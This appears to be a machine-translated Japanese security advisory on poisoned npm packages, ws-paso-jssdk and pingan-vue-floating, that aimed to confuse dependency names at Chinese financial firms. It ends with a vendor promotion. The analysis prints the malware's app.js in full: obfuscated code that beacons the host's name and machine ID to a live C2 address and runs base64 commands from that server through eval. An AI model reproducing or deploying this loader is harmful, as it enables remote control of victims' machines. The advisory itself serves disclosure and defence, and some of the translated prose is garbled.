簡単な説明
2023 年 8 月 9 日、マーフィーは、snugglejack_org (メール アドレス: [email protected]) という名前のユーザーによって NPM ウェアハウスに投稿された ws-paso-jssdk コンポーネント パッケージのメール アドレスが https://ql.rustdesk [ .]netの不審なトラフィックでは、コンポーネント パッケージがリモート コントロール スクリプトを運び、攻撃者が制御する C2 サーバーからシステム コマンドを受信して実行していることが確認されており、コンポーネント パッケージは 8 月 10 日 7 時 21 分に NPM 倉庫からダウンロードされました。 2023年の棚。
継続的な追跡の結果、ポイズニング者は、pingan-vue-floating などの同様の悪意のあるコンポーネント パッケージを NPM ウェアハウスに公開し続けていることが判明し、ポイズニング パッケージの悪意のある C2 アドレスは 62.234.32.226 に変更されました。この IP は、によって提供されました。北京の Tencent Cloud、ポイズニング パッケージの名前は pingan、ynf などにちなんでおり、国内メーカー (中国 *An など) をターゲットとしている可能性が非常に高いです。ポイズニング者は内部のプライベート ソース コンポーネントの名前を混同しています。これは、国内金融会社に対するオープンソースコンポーネントポイズニング攻撃として初めて公開されたものであり、ユーザー企業の内部ユーザーにポイズニングコンポーネントのダウンロードを誘導するものでした。
2023 年 8 月 14 日の時点でも、ポイズニング パッケージは NPM Tencent ソースからダウンロードできます (図 1 を参照)。ユーザーは、npm ls を通じて悪意のあるコンポーネントがダウンロードされたかどうかを判断できます。ポイズニング検出のバッチ検出については、マーフィーに問い合わせて、製品ツールを安全に ネットワーク全体のワンクリック調査を実施中 最近、大規模な攻防訓練が実施中ですので、慎重に調査することをお勧めします。
図 1: Tencent Cloud NPM コンポーネントのダウンロード アドレス
毒物分析
pingan-vue-floating-0.0.7 コンポーネントを例にとると、このコンポーネント パッケージは pm2 を介してデーモン スレッドを作成し、攻撃者が制御する悪意のある C2 サーバーに 45 秒ごとにリクエストを送信してハートビートを維持し、システムコマンド: 攻撃者が送信したメッセージを実行します。
//pingan-vue-floating-0.0.7/app.js
const key = (37532).toString(36).toLowerCase()+(27).toString(36).toLowerCase().split('').map(function(S){return String.fromCharCode(S.charCodeAt()+(-39))}).join('')+(1166).toString(36).toLowerCase()+(function(){var v=Array.prototype.slice.call(arguments),A=v.shift();return v.reverse().map(function(N,Q){return String.fromCharCode(N-A-10-Q)}).join('')})(43,107,106,169,150,111,106)+(914).toString(36).toLowerCase()+(function(){var k=Array.prototype.slice.call(arguments),D=k.shift();return k.reverse().map(function(r,I){return String.fromCharCode(r-D-8-I)}).join('')})(36,167,112)
const url = "http://62.234.32.226:8888"
const filename = path.join(os.tmpdir(), 'node_logs.txt');
const headersCnf = {
headers: {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134'
}
};
……
function heartbeat(){
const requestData = {
hostname: os.hostname(),
uuid:machineIdSync({original: true}),
os:os.platform(),
};
sendRequest(url+'/api/index',aesEncrypt(JSON.stringify(requestData)))
const task = {
uuid:machineIdSync({original: true}),
}
sendRequest(url+'/api/captcha',aesEncrypt(JSON.stringify(task))).then(result => {
try{
if (result !== undefined) {
const data = JSON.parse(result);
const decodedData = Buffer.from(data.code, 'base64').toString();
eval(decodedData)
}
}catch (error){
}
});
}
function app(){
const result = checkFile();
if (result.exists) {
return
} else {
createTmpFile();
setInterval(heartbeat, 45000);
}
}
app()
このインシデントで攻撃者によって汚染されたすべてのコンポーネントのリスト
ヒント: ご自身で調査してください。
トラブルシューティング ツールとポイズニング インテリジェンス
1. Murphy Security は、オープンソース コンポーネントをターゲットとしたポイズニングをリアルタイムでブロックできる製品を提供します
Murphy Security のプライベート ソース ゲートウェイ製品は、npm、pip、maven などの中央ウェアハウスでのポイズニング イベントをリアルタイムで検出および傍受でき、高リスクの脆弱性のベースライン管理をサポートしており、China Mobile などの数十の顧客がアプリケーションを導入しています。
2. Murphy Security は、リアルタイムのオープンソース コンポーネント ポイズニング インテリジェンス警告を提供します。これは購読可能です。
Murphy Security の 0day 脆弱性およびポイズニング情報には、最新の 0day、1day、およびポイズニング インテリジェンスの警告が含まれています。すべての情報は、企業が直接入手できる高品質の脆弱性およびポイズニング インテリジェンスを確保できるように、セキュリティ専門家によって厳密に調査および判断されています。 CVE 脆弱性ライブラリには 25 以上の詳細な分析フィールドが追加されており、現在、この製品は Ant、Meituan、China Telecom など数十の顧客に適用されています。
デモおよびトライアルチャンネルに申し込む: